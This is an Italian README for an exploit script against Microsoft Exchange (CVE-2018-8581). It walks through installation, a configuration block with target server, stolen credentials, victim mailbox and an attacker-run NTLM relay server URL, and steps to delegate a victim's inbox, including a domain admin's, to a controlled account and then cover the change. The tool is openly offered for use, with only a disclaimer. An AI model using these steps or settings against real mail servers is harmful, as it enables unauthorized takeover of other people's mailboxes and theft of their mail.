
CVE-2018-8581 | Vulnerabilità di elevazione dei privilegi di Microsoft Exchange Server
Si tratta di una vulnerabilità di movimento laterale e di escalation dei privilegi a livello di mailbox
Consente, dopo aver ottenuto le credenziali di un account di posta normale, di prendere il controllo della casella di posta di altri utenti (inclusi gli amministratori di dominio) tramite delega
Questo script EXP è una versione migliorata con un solo comando basata sul PoC originale. Dopo aver configurato i parametri necessari, esegue automaticamente le operazioni di aggiunta e rimozione della delega per la casella di posta in arrivo (inbox) del target, consentendo ai dipartimenti di sicurezza e ai red team di simulare un attacco su un'azienda autorizzata.
Il PoC originale richiedeva due script per aggiungere le regole di ricezione, il che non era molto pratico nel lavoro reale dei red team. Inoltre, oltre all'email, era necessario impostare il SID dell'utente target. Tuttavia, il metodo per ottenere il SID menzionato nell'articolo non è stato replicato con successo nei miei test su Exchange Server 2010 e 2013 (Exchange 2010 non ha le opzioni corrispondenti, Exchange 2013 mostra errori di autorizzazione). Alla fine, ho deciso di eseguire prima una delega inversa per ottenere il SID dell'utente target e poi rimuovere la delega.
Installare python-ntlm
pip install python-ntlm
Configurare i parametri nel codice dello script
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Eseguire lo script, poi sorseggiare un tè al goji e aspettare un minuto
![]()
A questo punto la casella di posta in arrivo (inbox) di TARGET_EMAIL è stata delegata con successo a CONTROLLED_EMAIL
Visualizzare la casella di posta del target in OWA o Outlook
img2
Impostare FLAG = 0, eseguire nuovamente lo script, sorseggiare un altro tè al goji e aspettare un altro minuto per rimuovere la delega precedentemente aggiunta
img3
Non si ha più accesso
Python 2.7.14
Exchange Server 2010 (abbastanza stabile, test riusciti su Exchange Server 2010)
Exchange Server 2013 (potrebbe fallire a seconda dell'ambiente)
Exchange Server 2016 (potrebbe fallire a seconda dell'ambiente)
È possibile modificare ulteriori richieste API SOAP di EWS all'interno della funzione make_relay_body()
Durante i tentativi di sfruttare ulteriormente l'attacco di relay Net-NTLM hash contro host che non richiedono la firma SMB, ho scoperto che gli hash ottenuti appartenevano tutti a ExchangeServer... Forse, se la firma SMB è disabilitata su ExchangeServer, si potrebbe usare per un attacco cross-protocol relay contro ExchangeServer, ma questo scenario è molto raro...
Lo script è fornito solo a scopo di apprendimento e ricerca. Gli utenti devono rispettare le leggi locali. L'autore non si assume alcuna responsabilità legale per qualsiasi uso improprio. Scaricando e utilizzando si accettano questi termini.